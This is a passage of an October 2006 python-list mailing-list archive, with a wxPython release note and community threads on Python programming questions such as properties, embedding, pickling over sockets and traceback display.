wxPython is a cross-platform toolkit. This means that the same program
will usually run on multiple platforms without modifications.
Currently supported platforms are 32-bit Microsoft Windows, most Linux
or other Unix-like systems using GTK2, and Mac OS X 10.3+, in most
cases the native widgets are used on each platform.


Changes in 2.7.1.3
------------------

wxGTK:  The wx.ALWAYS_SHOW_SB style is now supported.

Fixed name errors in the old wxPython package namespace.  As a
reminder, use of this package is deprecated and you are encouraged to
switch your programs over to the wx package.

Fixed wx.glcanvas.GLCanvas.SetCurrent to be compatible with prevoius
versons.

Added wx.StandardPaths.GetTmpDir.

Bug fixes in the wx.ListCtrl on Mac from Kevin Olivier, allowing it to
send events properly again.  There is also a new native implementation
of wx.ListCtrl available, which will be used for wx.LC_REPORT style
list controls if you set the "mac.listctrl.always_use_generic"
SystemOption to zero.  In a future release this will be the default.

Added a sample to the demo that shows some of what can be done with
the new wx.GraphicsContext and wx.GraphicsPath classes.

-- 
Robin Dunn
Software Craftsman
http://wxPython.org  Java give you jitters?  Relax with wxPython!



From mikael at isy.liu.se  Thu Oct  5 06:41:59 2006
From: mikael at isy.liu.se (Mikael Olofsson)
Date: Thu, 05 Oct 2006 12:41:59 +0200
Subject: Why do this?
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58E@UKEX01.Digica.local>
References: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58E@UKEX01.Digica.local>
Message-ID: <4524E177.1070702@isy.liu.se>



Matthew Warren wrote:
> I learned over the years to do things like the following, and I like
> doing it like this because of readability, something Python seems to
> focus on :-
>
> Print "There are "+number+" ways to skin a "+furryanimal
>
> But nowadays, I see things like this all over the place;
>
> print("There are %s ways to skin a %s" % (number, furryanimal))
>
> Now I understand there can be additional formatting benefits when
> dealing with numbers, decimal places etc.. But to me, for strings, the
> second case is much harder to read than the first.
>   

I agree that the second alternative isn't too readable. It is also not 
too maintainable. My version of the above is most often

    print "There are %(number)s ways to skin a %(furryanimal)s." % vars()

Readable and maintainable.

/MiO


From sjmachin at lexicon.net  Wed Oct  4 08:33:24 2006
From: sjmachin at lexicon.net (John Machin)
Date: 4 Oct 2006 05:33:24 -0700
Subject: Where to I find files: gtk.py _gtk.py and GDK.py
In-Reply-To: <1159964268.113477.5740@e3g2000cwe.googlegroups.com>
References: <1159964268.113477.5740@e3g2000cwe.googlegroups.com>
Message-ID: <1159965204.440203.325700@h48g2000cwc.googlegroups.com>


vedran_dekovic at yahoo.com wrote:
> Hello,
> Can you tell me where to I find exactly this files:gtk.py, _gtk.py and
> GDK.py
> I was look everywhere,and download package of gtk but I can't find this
> files
>

I would like to know what your definition of "everywhere" is.
Google("python gtk") gives this as the first hit:
http://www.pygtk.org/

How much would you like to bet, and at what odds, that that which you
seek is not there?



From skip at pobox.com  Thu Oct  5 15:18:40 2006
From: skip at pobox.com (skip at pobox.com)
Date: Thu, 5 Oct 2006 14:18:40 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <45254B18.2090806@v.loewis.de>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it> <45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com> <45254B18.2090806@v.loewis.de>
Message-ID: <17701.23184.577749.282368@montanaro.dyndns.org>


    Martin> The regular admin tasks likely include stuff like this:
    Martin> - the system is unavailable, bring it back to work
    Martin>   This is really the worst case, and a short response time
    Martin>   is the major factor in how users perceive the service
    Martin> - the system is responding very slowly

To all those people who have been moaning about needing 6-10 people to
administer the system, in my opinion these are the most important reasons to
have more than one person available to help.  Python isn't only used in the
USofA.  It has been very helpful to have administrators scattered around the
globe who were awake and alert to handle problems with python.org when folks
in the US were asleep.  Of course, spreading the load among several people
helps with the other tasks as well.

As Martin pointed out in an earlier post, with only one person actively
administering Subversion (Martin), new requests for access had to wait if he
was away for an extended period of time.

Skip


From hanumizzle at gmail.com  Sat Oct  7 21:38:00 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Sat, 7 Oct 2006 21:38:00 -0400
Subject: Rich text processor component
In-Reply-To: <4cfa17b10610061134v7cce994eke2e14da8bf13944c@mail.gmail.com>
References: <4cfa17b10610061134v7cce994eke2e14da8bf13944c@mail.gmail.com>
Message-ID: <463ff4860610071838m4ca2efd4n8c956572323efaee@mail.gmail.com>

On 10/6/06, Jorge Vilela <jorge.com.br at gmail.com> wrote:
> Hello, do anyone know if exists anything about rich text processor in
> python, as a component or good tutorial about it?

http://pyrtf.sourceforge.net/

Regards,
Theerasak


From eldiener_no_spam_here at earthlink.net  Tue Oct 10 10:25:30 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 14:25:30 GMT
Subject: Python component model
In-Reply-To: <egg4mt$e7g$1@south.jnrs.ja.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<WvMWg.12223$UG4.9358@newsread2.news.pas.earthlink.net>
	<egg4mt$e7g$1@south.jnrs.ja.net>
Message-ID: <u3OWg.7465$Y24.2859@newsread4.news.pas.earthlink.net>

Richard Brodie wrote:
> "Edward Diener No Spam" <eldiener_no_spam_here at earthlink.net> wrote in message 
> news:WvMWg.12223$UG4.9358 at newsread2.news.pas.earthlink.net...
> 
>> "Thinking in Java or C++" as opposed to Python does not mean anything to me as a general 
>> statement. I am well aware of the difference between statically and dynamically typed 
>> languages but why this should have anything to do with RAD programming is beyond me. Do 
>> you care to elucidate this distinction ?
> 
> I think this blog entry http://osteele.com/archives/2004/11/ides
> provides some insight into the point of view expressed. 

I think that one can easily be both, someone who is good at using a 
language and someone who is good at using a visual tool. The dichotomy 
presented in the article exists only for a small number of people.



From ptmcg at austin.rr._bogus_.com  Wed Oct 11 23:57:05 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Thu, 12 Oct 2006 03:57:05 GMT
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
Message-ID: <l2jXg.63366$5o5.46778@tornado.texas.rr.com>

<idknow at gmail.com> wrote in message 
news:1160619958.438049.53390 at h48g2000cwc.googlegroups.com...
> [snip]
>
> no sort() is needed to calculate the median of a list.
>
> you just need one temp var.
>

Ok, I'll bite.  How do you compute the median of a list using just a single 
temp var?

-- Paul 




From cfriedalek at gmail.com  Tue Oct 24 22:20:21 2006
From: cfriedalek at gmail.com (cfriedalek at gmail.com)
Date: 24 Oct 2006 19:20:21 -0700
Subject: win32com problem
References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
	<mailman.1129.1161742000.11739.python-list@python.org>
Message-ID: <1161742821.165933.113900@i42g2000cwa.googlegroups.com>

> tet = Synergy.StudyDoc.GetFirstTet(), perhaps?

com_error: (-2147352573, 'Member not found.', None, None)

Sorry, should have mentioned that I tried that already. Any thoughts on
how to establish if the problem is with win32com or the 3rd party app?



From antoine at vo.lu  Thu Oct 12 02:30:45 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Thu, 12 Oct 2006 08:30:45 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <452cbe11$1@news.vo.lu>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu>
Message-ID: <452de0f6$1@news.vo.lu>

Antoine De Groote wrote:

> class C(object):
>     def __init__(self): self.__x = None
>     def getx(self): return self._x
>     def setx(self, value): self._x = value
>     def delx(self): del self._x
>     x = property(getx, setx, delx, "I'm the 'x' property.")
> 

Altough I'm not the OP, thanks a lot to everyone, I've learned much in 
this thread. But there's still something that puzzles me, I just realized.

In the snippet above (taken from the Python doc 
http://docs.python.org/lib/built-in-funcs.html), self.__x is 
initialized, but never used. I would appreciate any explanation for this.

Regards,
antoine


From irmen.NOSPAM at xs4all.nl  Fri Oct 13 14:01:00 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Fri, 13 Oct 2006 20:01:00 +0200
Subject: Sending binary pickled data through TCP
In-Reply-To: <mailman.410.1160703734.11739.python-list@python.org>
References: <mailman.410.1160703734.11739.python-list@python.org>
Message-ID: <452fd460$0$4526$e4fe514c@news.xs4all.nl>

David Hirschfield wrote:
> I have a pair of programs which trade python data back and forth by 
> pickling up lists of objects on one side (using 
> pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket 
> connection to the receiver, who unpickles the data and uses it.
> 
> So far this has been working fine, but I now need a way of separating 
> multiple chunks of pickled binary data in the stream being sent back and 
> forth.
[...]

Save yourself the trouble of implementing some sort of IPC mechanism
over sockets, and give Pyro a swing: http://pyro.sourceforge.net

In Pyro almost all of the nastyness that is usually associated with socket
programming is shielded from you and you'll get much more as well
(a complete pythonic IPC library).

It may be a bit heavy for what you are trying to do but it may
be the right choice to avoid troubles later when your requirements
get more complex and/or you discover problems with your networking code.

Hth,
---Irmen de Jong


From antroy at gmail.com  Fri Oct 20 17:28:23 2006
From: antroy at gmail.com (Ant)
Date: 20 Oct 2006 14:28:23 -0700
Subject: I like python.
In-Reply-To: <mailman.871.1161375940.11739.python-list@python.org>
References: <mailman.824.1161333065.11739.python-list@python.org>
	<mn.a5177d6a3d962dfa.46195@XX.XmclaveauX.com>
	<mailman.871.1161375940.11739.python-list@python.org>
Message-ID: <1161379703.121362.135490@m7g2000cwm.googlegroups.com>


Fidel wrote:
> Renaming the file doesn't work. I am on windows... There is a specific
> line of code that tells python not to bother even opening a window.

Seriously, renaming the script to .pyw should work from a standard
python install. If it doesn't then the file handler for that extension
must have got messed up somewhere along the way. You can fix this by
right-clicking the renamed (*.pyw) file and selecting "open with..." ->
"Choose Program" and finding the pythonw.exe.



From fredrik at pythonware.com  Mon Oct 23 05:15:16 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 11:15:16 +0200
Subject: is it a bug ?
In-Reply-To: <ehhvqa$48r$1@trompette.imag.fr>
References: <ehhvqa$48r$1@trompette.imag.fr>
Message-ID: <ehi174$cn4$1@sea.gmane.org>

Sylvain Ferriol wrote:

> can you explain to me what happened:
> 
> class toto(object):
>    eq = float.__eq__
> 
> t = toto()
> 
> getattr(t,'eq')
> TypeError: descriptor '__eq__' for 'float' objects doesn't apply to 
> 'toto' object

I'd say the error message explains it pretty well.  what did you expect 
this to do?

</F>



From UrsusMaximus at gmail.com  Sun Oct 29 19:27:31 2006
From: UrsusMaximus at gmail.com (UrsusMaximus at gmail.com)
Date: 29 Oct 2006 16:27:31 -0800
Subject: Observation on "Core Python Programming"
In-Reply-To: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
Message-ID: <1162168051.424759.146050@k70g2000cwa.googlegroups.com>

I must say I find Wesley Chun's explanations to be most understandable.
I cant' exactly figure out why yet, but he has a way of explaining
something, like, say, decorators, that in minimal words elucidates for
me the intent behind why they are useful. That helps me understand how
they work. I just finished reading the chapter on Functions for the
book, I guess I was partly prompted by this thread on the newsgroup. it
was a *very* quick read, I could scan quickly but gain a better
understanding of the whole topic of functions in Python, including
inner functions, closures, decorators, continuations, and coroutines.
Talk about bang for the buck, that half hour to 45 minutes of reading
new chapter in Wesley Chun's new book was the best investment of time i
have made in quite a while.

I really like this book. I really, really, really like it.

Ron Stephens



From john+news at curioussymbols.com  Thu Oct  5 09:01:50 2006
From: john+news at curioussymbols.com (John Pye)
Date: Thu, 05 Oct 2006 23:01:50 +1000
Subject: embedding python -- windows specify problems
In-Reply-To: <mailman.1332.1160042171.10491.python-list@python.org>
References: <4524cda2$1@clarion.carno.net.au>
	<mailman.1332.1160042171.10491.python-list@python.org>
Message-ID: <4525023f$0$8411$5a62ac22@per-qv1-newsreader-01.iinet.net.au>

Hi Fredrik,

Thanks very much for that reply. Your suggestion sounds feasible, I
guess. Taking what you said, and thinking about how I could avoid adding
an additional intepreter step, I thought that I could try the following:

	pyfile = PyFile_FromString(name,"r");
	if(pyfile==NULL){
		return 1;
	}	
	f = PyFile_AsFile(pyfile);		
	PyRun_AnyFileEx(f,name,1);

This seems to work on Linux at least (I'll test it tomorrow on my
Windows machine), and presumably it will work around the problem you
mentioned?

Cheers
JP

Fredrik Lundh wrote:
> John Pye wrote:
> 
> 
>>I have been working on some new code that embeds python in an C
>>application. The embedding is working fine under Linux but crashing
>>under Windows (XP) when I reach the following step.
>>
>>PyRun_AnyFile(f,name);
>>
>>If there's some python exception being thrown by the PyRun_AnyFile call,
>>how can I retrieve it from C?
>>
>>Even when the file (f) being run by Python contains only a 'print'
>>statement, the application still crashes on WinXP.
> 
> 
> the contents and the layout of the FILE structure isn't defined, so PyRun_AnyFile()
> only works if you make sure to open the file using *exactly* the same run time library
> as Python itself uses.
> 
> it's usually easier to hand the problem over to the interpreter:
> 
>     PyRun_SimpleString("execfile('myscript.py')\n");
> 
> the same approach can be used to implement custom error handling, stdout/stderr
> redirects, etc.
> 
> </F> 
> 
> 
> 


From fredrik at pythonware.com  Tue Oct 31 14:08:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 20:08:10 +0100
Subject: Overriding traceback print_exc()?
In-Reply-To: <Ae6dndxQ39_EBNrYnZ2dnUVZ_oydnZ2d@nmt.edu>
References: <Ae6dndxQ39_EBNrYnZ2dnUVZ_oydnZ2d@nmt.edu>
Message-ID: <ei86up$ahg$1@sea.gmane.org>

Bob Greschke wrote:

> I want to cause any traceback output from my applications to show up in one 
> of my dialog boxes, instead of in the command or terminal window (between 
> running on Solaris, Linux, OSX and Windows systems there might not be any 
> command window or terminal window to show the traceback messages in).  Do I 
> want to do something like override the print_exc (or format_exc?) method of 
> traceback to get the text of the message and call my dialog box routine?

one way to do that is to put a big try/except around your main program, 
and display the dialogue box in the except clause:

     import traceback

     def main():
	raise RuntimeError("oops!")

     try:
	main()
     except (KeyboardInterrupt, SystemExit):
	raise
     except:
	print "ERROR", repr(traceback.format_exc())

another approach is to install an exit-handler that uses last_traceback 
and friends to generate a traceback:

     import atexit, traceback, sys

     def postmortem():
	if hasattr(sys, "last_traceback"):
	    print "ERROR", repr(traceback.format_exception(
		sys.last_type, sys.last_value, sys.last_traceback
		))

     atexit.register(postmortem)

     def main():
	raise RuntimeError("oops!")

     main()

the latter is less intrusive, and can be squirreled away in a support 
module.  also, the original exception is still reported to the console, 
as usual.

</F>



From rijamoria at gmail.com  Thu Oct 12 09:26:07 2006
From: rijamoria at gmail.com (Gasikara)
Date: 12 Oct 2006 06:26:07 -0700
Subject: How to be a good programmers?
In-Reply-To: <1160617780.299662.110480@i3g2000cwc.googlegroups.com>
References: <1160588630.961337.213260@m7g2000cwm.googlegroups.com>
	<1160617780.299662.110480@i3g2000cwc.googlegroups.com>
Message-ID: <1160659566.956446.6370@i42g2000cwa.googlegroups.com>


I have already started to learn the language (python) since  4 months,
I love this language program! I have read some of example of zope and I
see that it look like with html programming , so I don't need to learn
again this things.



From onurb at xiludom.gro  Fri Oct 13 04:37:02 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 13 Oct 2006 10:37:02 +0200
Subject: Python component model
In-Reply-To: <egji9m$phj$1@online.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<452caf79$0$24783$426a74cc@news.free.fr> <egji9m$phj$1@online.de>
Message-ID: <452f502f$0$21153$426a34cc@news.free.fr>

Peter Maas wrote:
> Bruno Desthuilliers wrote:
>> Peter Maas wrote:
> [...]
>>> a reference implementation for web programming as part of the standard
>>> library, 
>> wsgiref is part of the 2.5 stdlib.
> 
> Yes, but it's not an implementation. Think of something like Tomcat for
> the Java Servlet Specification.
> 
Then I'd vote for paste.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From lee at example.com  Tue Oct 17 21:02:11 2006
From: lee at example.com (Lee Harr)
Date: Wed, 18 Oct 2006 01:02:11 GMT
Subject: creating many similar properties
Message-ID: <n2fZg.3322$Ka1.1194@news01.roc.ny>


I understand how to create a property like this:

class RC(object):
    def _set_pwm(self, v):
        self._pwm01 = v % 256
    def _get_pwm(self):
        return self._pwm01
    pwm01 = property(_get_pwm, _set_pwm)


But what if I have a whole bunch of these pwm properties?

I made this:

class RC(object):
    def _makeprop(name):
        prop = '_%s' % name
        def _set(self, v):
            v_new = v % 256
            setattr(self, prop, v_new)
        def _get(self):
            return getattr(self, prop)
        return property(_get, _set)

    pwm01 = _makeprop('pwm01')
    pwm02 = _makeprop('pwm02')


Not too bad, except for having to repeat the name.

I would like to just have a list of pwm names and
have them all set up like that. It would be nice if
each one was set to a default value of 127 also....

Any thoughts?

Thanks for your time.


From edreamleo at charter.net  Sat Oct 28 08:56:38 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Sat, 28 Oct 2006 07:56:38 -0500
Subject: Leo 4.4.2 final released: config bug
References: <usH0h.77$Pf7.40@newsfe03.lga>
Message-ID: <fsI0h.715$Sl5.39@newsfe05.lga>

Drat.  Leo does not remember recent files unless .leoRecentFiles.txt exists 
in Leo's config directory.  Alas, that file is (on purpose) not part of the 
distribution, and Leo only creates .leoRecentFiles.txt in the users home 
directory.

So most users will have to create .leoRecentFiles.txt in Leo's config 
directory 'by hand': it can start life as an empty text file.

My apologies for this error.  It will be fixed in Leo 4.4.2.1 in a few days.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From jweida at gmail.com  Tue Oct 17 10:26:39 2006
From: jweida at gmail.com (Jerry)
Date: 17 Oct 2006 07:26:39 -0700
Subject: Looking for assignement operator
In-Reply-To: <eh2n08$4ji$1@online.de>
References: <eh2n08$4ji$1@online.de>
Message-ID: <1161095199.354431.157660@e3g2000cwe.googlegroups.com>



On Oct 17, 8:50 am, Alexander Eisenhuth <newsu... at stacom-software.de>
wrote:
> Hello,
>
> is there a assignement operator, that i can overwrite?
>
> class MyInt:
>         def __init__(self, val):
>                 assert(isinstance(val, int))
>                 self._val = val
>
> a = MyInt(10)
>
> # Here i need to overwrite the assignement operator
> a = 12
>
> Thanks
> Alexander

I believe the property function is what you are looking for.  e.g.

class MyClass:
    def __init__(self, val):
        self.setval(val)

    def getval(self):
        return self._val

    def setval(self, val):
        assert(isinstance(val, int))
        self._val = val

    _val = property(self.getval, self.setval)

--
Jerry



From nelson1977 at gmail.com  Sun Oct  8 07:27:03 2006
From: nelson1977 at gmail.com (nelson)
Date: 8 Oct 2006 04:27:03 -0700
Subject: wxpython problems using GLCanvas
Message-ID: <1160306823.654994.27260@h48g2000cwc.googlegroups.com>

Hi,
  i'm coding a 3d interactive geometry progam and i want to use opengl
for displaying ogbjects. I can open a opengl canvas (i follow the
wxpython demo) and i can draw a cube. First time i execute the
application all is ok. second time it freezes X and i can't interact
with my machine. I hava only to press power button...... what will
cause it? the code i use is exactly the code of the demo....

If using openGL is so difficult to do together with wxpython, what
toolkit can i use do do 3d graphics? Simple graphics, i have to plot
point, lines, sphere, surfaces and their intersections...

thanks,
  nelson



From bencvt at gmail.com  Tue Oct  3 01:09:08 2006
From: bencvt at gmail.com (Ben Cartwright)
Date: 2 Oct 2006 22:09:08 -0700
Subject: loop beats generator expr creating large dict!?
In-Reply-To: <20061002215040.65003374.gry@ll.mit.edu>
References: <20061002215040.65003374.gry@ll.mit.edu>
Message-ID: <1159852148.196461.191520@e3g2000cwe.googlegroups.com>

George Young wrote:
> I am puzzled that creating large dicts with an explicit iterable of
> key,value pairs seems to be slow.  I thought to save time by doing:
>
>    palettes = dict((w,set(w)) for w in words)
>
> instead of:
>
>    palettes={}
>    for w in words:
>       palettes[w]=set(w)
>
> where words is a list of 200000 english words.  But, in fact,
> timeit shows the generator expression takes 3.0 seconds
> and the "for" loop 2.1 seconds.  Am I missing something?

Creating those 200,000 (w, set(w)) intermediate tuples isn't free.  You
aren't doing that in for loop version.  If you were:

    # Slowest of all!
    palettes={}
    for w,s in ((w,set(w)) for w in words):
        palettes[w]=s

--Ben



From mike.klaas at gmail.com  Mon Oct 23 22:15:24 2006
From: mike.klaas at gmail.com (Klaas)
Date: 23 Oct 2006 19:15:24 -0700
Subject: Python segmentation fault?
In-Reply-To: <NradncijuZ_M-KDYnZ2dnUVZ_uWdnZ2d@comcast.com>
References: <NradncijuZ_M-KDYnZ2dnUVZ_uWdnZ2d@comcast.com>
Message-ID: <1161656124.660257.98340@i3g2000cwc.googlegroups.com>


Michael B. Trausch wrote:
> Is there a way to debug scripts that cause segmentation faults?  I can
> do a backtrace in gdb on Python, but that doesn't really help me all
> that much since, well, it has nothing to do with my script... :-P

Yes.  If you think it is a python interpreter bug, create a
self-contained script which reproduces the issue, and file a python bug
report.

I'd be interested to see the stack trace--I recently uncovered a
segfault bug in python2.5 and I might be able to tell you if it is the
same one.

-Mike



From hanumizzle at gmail.com  Fri Oct  6 02:26:57 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 02:26:57 -0400
Subject: help on pickle tool
In-Reply-To: <1160115558.554509.292870@c28g2000cwb.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>
	<mailman.1408.1160114785.10491.python-list@python.org>
	<1160115558.554509.292870@c28g2000cwb.googlegroups.com>
Message-ID: <463ff4860610052326s735fbeb7m2d4584b7ee1c569e@mail.gmail.com>

On 5 Oct 2006 23:19:18 -0700, MonkeeSage <MonkeeSage at gmail.com> wrote:
>
>
> On Oct 6, 1:06 am, hanumizzle <hanumiz... at gmail.com> wrote:
> > I'm happy with my Pythonesque YAML syntax, thank you. :)
>
> YAML is a little more complex, and a little more mature. But JSON
> should not be ruled out. I actually like JSON personally.

I guess I'll keep an open mind. But I like editing YAML for the same
reason that I like editing Python. (Although I admit I usually I gen
my data structures in ipython and then dump them.)

-- Theerasak


From jstroud at mbi.ucla.edu  Wed Oct  4 06:01:19 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Wed, 04 Oct 2006 10:01:19 GMT
Subject: py2app console
In-Reply-To: <dave.opstad-B1763B.07163803102006@reader0903.news.uu.net>
References: <P9sUg.1250$NE6.423@newssvr11.news.prodigy.com>
	<dave.opstad-B1763B.07163803102006@reader0903.news.uu.net>
Message-ID: <PDLUg.11243$6S3.9421@newssvr25.news.prodigy.net>

Dave Opstad wrote:
> In article <P9sUg.1250$NE6.423 at newssvr11.news.prodigy.com>,
>  James Stroud <jstroud at mbi.ucla.edu> wrote:
> 
>> Does anyone know of the most straightforward way to get rid of the 
>> intensely annoying "console" window that py2app feels so compelled to 
>> create?
> 
> I include this code in my apps:
> 
>     if (sys.platform != "win32") and hasattr(sys, 'frozen'):
>         root.tk.call('console', 'hide')
> 
> That hides the console in py2app applications.
> 
> Dave

Yes! Thank you! I just now have gotten a chance to try it. It works 
beautifully and simply.

Again, many thanks for your help!

James


From yellowalienbaby at gmail.com  Wed Oct 18 17:32:40 2006
From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com)
Date: 18 Oct 2006 14:32:40 -0700
Subject: bicycle repair man and idle
Message-ID: <1161207160.399426.73250@b28g2000cwb.googlegroups.com>

Hi,

I'm trying to get bicycle repair man to work with idle. I have
installed repair man, and pasted the few entries needed into the
config-extensions.def, but when i edit a module with idle i see no
bicycle repair man menu. Am I missing anything else I should be doing?


Thanks,

Matt.



From cginboston at hotmail.com  Mon Oct  9 15:46:13 2006
From: cginboston at hotmail.com (Chaz Ginger)
Date: Mon, 09 Oct 2006 19:46:13 GMT
Subject: Python component model
In-Reply-To: <HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
Message-ID: <452AA71E.1010000@hotmail.com>

Edward Diener No Spam wrote:
> skip at pobox.com wrote:
>>     Edward> The definition of a component model I use below is a class
>> which
>>     Edward> allows properties, methods, and events in a structured way
>> which
>>     Edward> can be recognized, usually through some form of introspection
>>     Edward> outside of that class. This structured way allows visual
>> tools
>>     Edward> to host components, and allows programmers to build
>> applications
>>     Edward> and libraries visually in a RAD environment.
>>
>>     ...
>>     Edward> I believe that Python should have a common components
>> model for
>>     Edward> all RAD development environments, as that would allow the
>> Python
>>     Edward> programmer to create a set of classes representing components
>>     Edward> which would work in any environment.
>>
>> Having never used java or .NET I'm not sure what you're looking for. 
>> Does
>> Python's current introspection not work?  Is it someone too unstructured
>> (whatever "structured" means)?  Can you give a simple example?
> 
> In the typical RAD development environment, a particular component model
> allows one to drop components, which are classes corresponding to a
> particular inner representation which tells the development environment
> what are the "properties" and "events" of that component, and
> subsequently set "properties" for that component and add handlers for
> its "events" visually.
> 
> Subsequently When the components are instantiated at run-time, the
> particular "properties" are automagically set and the particular
> "events" are automagically tied to event handlers in other classes (
> usually a window, or form, although it can be in any other class which
> can handle events ). How this "automagically" is done depends on the
> visual development environment.
> 
> I find it very neat that I, the end-user of the component, does not have
> to write the boiler-plate code to set "properties" and hook up "events"
> and can do this visually. I realize that others may find this
> unimportant. But in a visual environment where not only non-viusual
> components are involved, but also visual GUI components are, this also
> allows the visual look of a particular window ( form or screen if you
> like ) to be composed automatically. At the same time hooking non-visual
> components automagically at design time so that they are connected at
> run-time to event handlers is also very nice.
> 
> In order to make such a system work, the visual RAD environment needs to
> know what in a class makes it a component, and what in that components
> specifies the "properties" and "events" for which it will automagically
> setup the correct "code" which works at run-time. Without a component
> model to tell it these things, it can not work to produce the
> boiler-plate code necessary to set "properties" and hook event handlers
> to an event.
> 
> In JavaBeans, for Java, and the System.ComponentModel namespace, as well
> as properties, delegates, and events in .Net, there exists a common
> component model which defines, in these environments, what a components
> is so that the visual RAD development can do its magic.
> 
> I realize that many Python programmers don't see the necessity for
> having a RAD visual devlopment environment doing for them what they can
> do by hand in their Python code, particularly in the constructor to
> classes. But there are people who have used such a RAD model,
> particularly when setting up a GUI application or Web application, who
> appreciate the ease of use of such a RAD visual environment, especially
> in the area of dropping visual controls on a window and having that
> window appear at run-time with the particular look which they have
> visually setup at design time. But even beyond the more common visual
> setup of a window or web page, a visual RAD environment allows the
> end-user programmer to visually create boiler-plate code for setting the
> "properties" and "events" of non-visual classes, which make up the
> greater part of the internal logic of any given program.
> 
> More importantly a common component model, which works in any language's
> visual RAD environment, enables the development and re-use of components
> which are as easily used as dropping that component from a component
> palette onto a visual container, usually a representation of a run-time
> window, and setting it's "properties" and/or "events". The visual
> manipulation of components does not preclude making manipulations at
> run-time through code also if necessary, and all visual environements
> allow the setting of "properties" and "events" at run-time also in the
> usual way.
> 
> If one has used Borland's Delphi or C++ Builder IDEs, or Sun's NetBeans
> or IBM's Eclipse for Java, or Microsoft's Visual Studio for .Net, one
> knows what I mean as far as a visual RAD environment. All of these are
> made possible by a common component model which different development
> environments can use.
> 
> There's nothing wrong with Python's introspection. In fact Python's
> facilities in this area and its support for metadata are stronger than
> any of these other languages ! However there is no common component
> model which specifies that X is a "property" or Y is an "event" of a
> Python class which can be visually manipulated at design-time and
> automagically set at run-time, so that any given Python RAD visual
> environment will treat a Python class, specified as a component, in
> exactly the same way. Also in these other languages, a component is
> different from a class in that a component is recognized in a particular
> way, often so that the component can interact if necessary with its
> container and/or visual site.
> 
> OK, I have proselytized enough <g>. Python is a great language and I
> truly love it and its flexibility and ease of programming use. If there
> is no impetus to create a component model for re-usable components for
> visual RAD environments in Python, that's fine with me. But I thought
> someone from the Python development community, given the use of visual
> RAD environments for other languages as mentioned above, to create GUI
> and large-scale applications, would have considered it.


Why not propose something. That is the easiest way to get things moving.
Chaz.


From steve at REMOVE.THIS.cybersource.com.au  Tue Oct 31 07:17:37 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Tue, 31 Oct 2006 23:17:37 +1100
Subject: How can I import a script with an arbitrary name ?
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
	<mailman.1513.1162252870.11739.python-list@python.org>
	<pan.2006.10.31.11.23.15.574722@REMOVE.THIS.cybersource.com.au>
	<mailman.1540.1162295666.11739.python-list@python.org>
Message-ID: <pan.2006.10.31.12.17.37.929467@REMOVE.THIS.cybersource.com.au>

On Tue, 31 Oct 2006 22:53:56 +1100, Ben Finney wrote:

> "Steven D'Aprano" <steve at REMOVE.THIS.cybersource.com.au> writes:
> 
